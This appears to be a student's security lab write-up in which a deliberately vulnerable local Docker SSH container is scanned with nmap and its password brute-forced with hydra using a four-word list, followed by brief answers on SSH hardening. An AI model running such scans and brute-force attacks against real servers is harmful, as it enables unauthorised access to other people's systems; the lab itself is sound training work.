Fakulteta za informacijske študije
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lab03

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```
docker ps
ONTAINER ID   IMAGE     COMMAND                  CREATED          STATUS          PORTS
                                  NAMES
ad5d1498124   dvws      "/usr/sbin/sshd -D"   12 minutes ago   Up 12 minutes   0.0.0.0:222
->22/tcp, [::]:2222->22/tcp   dvws-ssh
```

```
sudo docker inspect dvws-ssh | grep IPAddress
            "SecondaryIPAddresses": null,
            "IPAddress": "172.17.0.2",
                    "IPAddress": "172.17.0.2",
```

```
ssh testuser@172.17.0.2 -p 22
estuser@172.17.0.2's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-110-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Wed Apr 22 14:37:37 2026 from 172.17.0.1
testuser@3ad5d1498124:~$
```

```
sudo nmap -sS -sV -O -p- 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 16:48 CEST
Nmap scan report for 172.17.0.2
Host is up (0.00018s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.14 (Ubuntu Linux; protocol 2.0)
MAC Address: BA:D3:D7:15:03:41 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org
/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.96 seconds
~                                                                    ✔ | 4s
```

```
echo -e "password\n123456\ntest123\nadmin" > passwords.txt
~
cat passwords.txt
password
123456
test123
admin
~
```

```
hydra -l testuser -P passwords.txt -s 22 172.17.0.2 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or s
ecret service organizations, or for illegal purposes (this is non-binding, these *** ignore
laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-22 16:50:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: testuser   password: test123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-22 16:50:26
~                                                                    ✔ | 5s
```

How would you protect the SSH server from brute-force attacks?

To protect an SSH server from brute-force attacks, I would disable password login and use SSH keys instead. I would also limit the number of login attempts and use tools like Fail2Ban to block IP addresses after multiple failed tries. Changing the default SSH port can also help reduce automated attacks.

What additional measures would you recommend?

I would recommend:

- ➔ using public-private key authentication
- ➔ disabling root login
- ➔ limiting login attempts
- ➔ using a firewall to allow access only from trusted IP addresses
- ➔ closing unused ports and services
- ➔ enabling MFA for extra security

How does the result change if we use a very strong password?

If we use a very strong password, brute-force attacks become much harder and slower. However, they are still possible, so a strong password alone is not enough. It is always better to combine it with other security measures.